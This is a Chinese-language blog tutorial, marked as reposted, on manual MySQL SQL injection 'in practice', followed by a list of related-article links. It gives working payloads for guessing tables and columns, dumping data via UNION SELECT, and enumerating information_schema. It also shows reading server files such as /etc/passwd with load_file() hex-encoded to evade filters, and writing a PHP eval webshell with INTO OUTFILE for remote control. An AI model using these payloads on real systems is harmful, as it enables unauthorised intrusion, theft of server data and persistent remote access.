出现的关键名词有: UNION  SELECT   load_file   hex

为了方便说明我们先创建两个表:hehe和heihei,很明显它们一个拥有2列属性,一个拥有3列属性

==========================================================================================

一. UNION 的原理

UNION 需要两个被select的集合拥有相同的列数。一开始我并不是很理解这个相同是什么,然后我做了个实验:
这个错误提示很明显了:ERROR 1222 (21000): The used SELECT statements have a different number of columns
因为它们select出来的结果集的列数不一致,这对一个操作并集合的union来说是不可操作的,所以就报错了。
那么是不是只要保证两个结果集的列数相同就好了呢,我们继续做实验,
这个结果也是很明显:OK !!!
总结:union连结的两个结果集的列数要相等!
 
那么我们是怎么利用UNION搞注入呢?
(1)猜解表名,只有猜解对了表名才能继续深入。用这句:
  1. select * from hehe where id = 3 and exists(select * from admin);
exists()函数用于检查子查询是否至少会返回一行数据。实际上不返回任何数据,而是返回True或者False。结果当然是不存在啦:
如果表名存在就返回结果集:
总结:在实战中我们可以用exsits()猜解表名
 
(2)用UNION猜解列数(- - 终于用到了UNION)
原理是:利用两边结果集必须相等列数!
  1. select * from hehe where id =3 and 1=1 union select 1,2,3;
如图,第一次我们猜测两列(1,2)失败了,第二次我们猜测三列(1,2,3)成功了。
总结:我们用and union select 1,2,3,4,5,6...;来猜解列数,只有列数相等了,才能返回True!
 
(3)猜解列名
用猜解表名的方法:
  1. select * from hehe where id=3 and exists(select name from hehe);


如图,第一次我们猜解有个列名为name1,报错了,第二次我们猜解列名为name,返回正常,说明真的有个列名为name!

总结:用 select * from hehe where id=3 and exists(select name from hehe);来猜解列名!
 
(4)猜解字段内容
这个通过步骤三我们已经猜解出列名:name和id了。那么怎么让它们暴出内容呢?
用:
  1. select * from hehe where id=3 and 1=2  union select 0,0,name from hehe;

总结:知道列名后,把列名至于其中任意位置,就能在那个位置暴出列的内容来。实战中不是每一个列的内容都显示在web page上的,所以有的人就先用:
  1. unoin select 1,2,3,4,5,6,7 from hehe;

之类的语句,看看web page上出现的数字为几就把列名填写在第几个列上,如:web page上暴出5,那么我们就把SQL语句改成:

  1. unoin select 1,2,3,4,name,6,7 from hehe;

然后就能暴出来name的内容啦。。

 

二.load_file()和UNION 读取服务器文件内容

函数 LOAD_FILE(file_name):读取文件并将这一文件按照字符串的格式返回。 
文件的位置必须在服务器上 , 你必须为文件制定路径全名,而且你还必须拥有 FILE 特许权。
文件必须可读取,文件容量必须小于 max_allowed_packet 字节。
若文件不存在,或因不满足上述条件而不能被读取, 则函数返回值为 NULL。
 
这个load_file()看起来很正常,因为它就是加载一个绝对路径文件(先保证有读权限)。可是神奇的是:
它可以在UNOIN中充当一个字段,能够来读取服务器的文件。
在我的服务器上有个文件:"d:/test.txt",里面内容是:"key:HelloWorld.",看我用load_file把他读取出来:
  1. select * from hehe where id=3 and 1=2 union select 0,load_file("d:/test.txt"),count(*) from mysql.user;
 
总结:“A语句 UNION B语句” 中的这个UNION就是把最终的结果集放到“A语句"的属性(列)下。上图上结果是把0,放到列1下,把load_file("d:/tes.txt")的内容放到列2下,把count(*)返回的结果放到列3下。很科学地达到了我们读取服务器文件的目的。
 
Ps:上面的 1=2 看到了吗?是让”A语句“查询结果为空,看着舒服。
Ps:这个load_file()用在MySQL中
 
load_file的过滤
实战中URL写成load_file("/etc/passwd")一般会被过滤,所以不科学,不过我们可以用16进制来表示(hex)就好啦:
打开UltraEdit,然后把 /etc/passwd 放到里面,然后右键有个16进制编辑,然后就看到了16进制了:0x2F6574632F706173737764,知道为什么要加这个“0x”吗?因为它是16进制。。。
 
Ps:经验哦~如果过滤了空格就用“+”表示
 
 

三 用select  into   outfile 把一句话木马写进文件

  1. select '<?php eval($_POST[cmd])?>'  into outfile 'c://aa.php';
 
然后我们将会看到:
里面有一句话木马: <?php   eval($_POST[cmd]) ?> 然后就能用菜刀去连接了。(什么不知道什么叫做一句话木马?什么叫做菜刀?赶紧去google吧)
总结:获得数据库权限真的是一件好事啊~~
 

四.用系统函数+UNOIN暴出数据库的信息(如果web不禁用,极其高效!)

information_schema.SCHEMATA表中的SCHEMA_NAME 查看所有的数据库
  1. select * from hehe where id=3 and 1=2  union select 0,0,SCHEMA_NAME from information_schema.SCHEMATA limit 1,2;

 
information_schema.TABLES 表中的TABLE_NAME和TABLE_SCHEMA查看所有的表名和所在的数据库:
  1. select TABLE_NAME ,TABLE_SCHEMA from information_schema.TABLES where TABLE_SCHEMA = "haha"
 

 
information_schema.COLUMNS 表中的 COLUMN_NAME 查看表中的所有列名:
  1. select TABLE_NAME,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME= "hehe"l
 

 
version() 版本(看第一列)
 
database() 当前数据库名字(看第一列)
 
user() 当前用户(看第一列)
 
@@global.version_compile_os  操作系统(看第一列):
 
and ord(mid(user(),1,1))=144查看数据库权限(注意144就是字符”r“,也就是”root“的第一个字符):

Ps:有更好的unoin select user(),2,3 ;不用? 不是的,因为实战中有的web不准用。用这个就可以来查看数据库权限啦~
Ps:ord(),若字符串str 的最左字符是一个多字节字符,则返回该字符的代码。(多字节。。有意思。。)
 
总结:这个information_schema数据库是个特别强大的数据库,里面包含的表很多,有SCHEMATAS(数据库信息),TABLES(表信息),COLUMNS(列信息)等等。。。

 

(转载)sql注入实战 mysql篇的更多相关文章

  1. SQL注入之MySQL报错注入整理

    看大佬们的文章看得我虎躯一震,精神抖擞,于是心血来潮,整理一下MySQL报错注入常见的手段和方法,再举几个例子 <代码审计:企业级Web代码安全架构>一书中介绍过报错注入十大方法,依次是: ...

  2. SQL注入(一) - 入门篇

    什么是SQL注入 可能大家还不是对SQL注入这个概念不是很清楚,简单地说,SQL注入就是攻击者通过正常的WEB页面,把自己SQL代码传入到应用程序中,从而通过执行非程序员预期的SQL代码,达到窃取数据 ...

  3. [红日安全]Web安全Day1 - SQL注入实战攻防

    本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...

  4. 记一次SQL注入实战

    刚发现漏洞时,我就已经成功实现了注入,因为怕发到网上后被玩坏,一直没有发布.今天去看了看,原网页已经无法访问了,现在发出来应该就没有什么大问题了. 本文仅供学习交流,目的是为了构建更加安全的网络环境! ...

  5. sql注入原理+mysql相关知识点

    什么是SQL注入 sql就是经常说的数据库,而sql注入就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.SQL注入是比较常见的网络攻击 ...

  6. SQL注入之MySQL常用的查询语句

    MySQL是一种使用很广的数据库,大部分网站都是用MySQL,所以熟悉对MySQL数据库的注入很重要. 首先来说下MySQL注入的相关知识点 在MySQL5.0版本之后,MySQL默认在数据库存放一个 ...

  7. SQL注入实战新手教程

    本文章仅用于网络安全交流学习,严禁用于非法用途,否则后果自负 一.如何批量找SQL注入(工具+资源都打包):http://www.liuwx.cn/post-149.html 1.SQL注入点搜索关键 ...

  8. [MYSQL手工注入](3)基于报错的SQL注入实战

    0x03 MYSQL 手工注入实战--基于错误的 SQL 注入 今天如愿以偿的找到了基于错误的SQL注入环境了:是一个国外卖音响的小网站,还在建设中: 看一下报错信息: (1)确定闭合语句:从上面的报 ...

  9. SQL注入之Mysql报错注入

    --志向和热爱是伟大行为的双翼. 昨天偷懒了没学什么东西,先自我反省一下 - -. 今天认真的学习了一下Mysql报错注入利用方法及原理,好久之前就像认真的学一下这个了,是在上海市大学生网络安全大赛中 ...

随机推荐

  1. jQuery监控文本框事件并作相应处理的方法

    本文实例讲述了jQuery监控文本框事件并作相应处理的方法.分享给大家供大家参考.具体如下: //事情委托 $(document)  .on('input propertychange', '#que ...

  2. js实现jquery的offset()

    用过jQuery的offset()的同学都知道 offset().top或offset().left很方便地取得元素相对于整个页面的偏移. 而在js里,没有这样直接的方法,节点的属性offsetTop ...

  3. 在PHP项目中,每个类都要有对应的命名空间,为什么?

    语法: namespace  Admin\Controller; 功能: 命名空间主要用来区分控制器属于哪个模块下,好区分,更有利于项目的维护:

  4. 如何在VS2010中更好的编写JavaScript代码

    VS2010默认的JavaScript代码编辑器相对简单.对于大家熟悉的代码折叠,代码结构.函数导航,代码高亮等都不支持,使用很不便.下面介绍下我发现的几个VS2010插件,具有哪些功能,如何安装和使 ...

  5. Android设计模式之单例模式的七种写法

    一 单例模式介绍及它的使用场景 单例模式是应用最广的模式,也是我最先知道的一种设计模式.在深入了解单例模式之前.每当遇到如:getInstance()这样的创建实例的代码时,我都会把它当做一种单例模式 ...

  6. RxJava的实现原理

    本周新的一天开始了,让我们一起造一个RxJava,揭秘RxJava的实现原理,  强烈推荐这个

  7. Maven新建一个Spring MVC项目

    新建一个Maven项目,选择archetypes为maven-archetype-webapp,相关的名称按个人习惯取,我这里取Group Id:moonlit-groupArtifact Id:mo ...

  8. 将工程导入到SVN仓库

    1.在桌面右键点开Tortoise客户端 2.选择仓库 3.在仓库的trunk目录下为新工程创建文件夹

  9. java读代码步骤

    一.读代码的步骤 1.知道代码时用什么IDE开发的 2.将代码导入到IDE 3.连接数据库 A)连接到测试数据库 B)有sql脚本,在本地创建一个数据库,执行脚本,建立数据结构和导入数据. 4.尝试运 ...

  10. git学习(7)标签管理

    git学习(7)标签管理 1. 建立标签 在发布版本时候,我们通常会在版本库中打一个标签,这样就唯一确定了打标签的版本,有点像个里程碑,这里会有一个指向某个commit的指针 打标签很简单,首先切换到 ...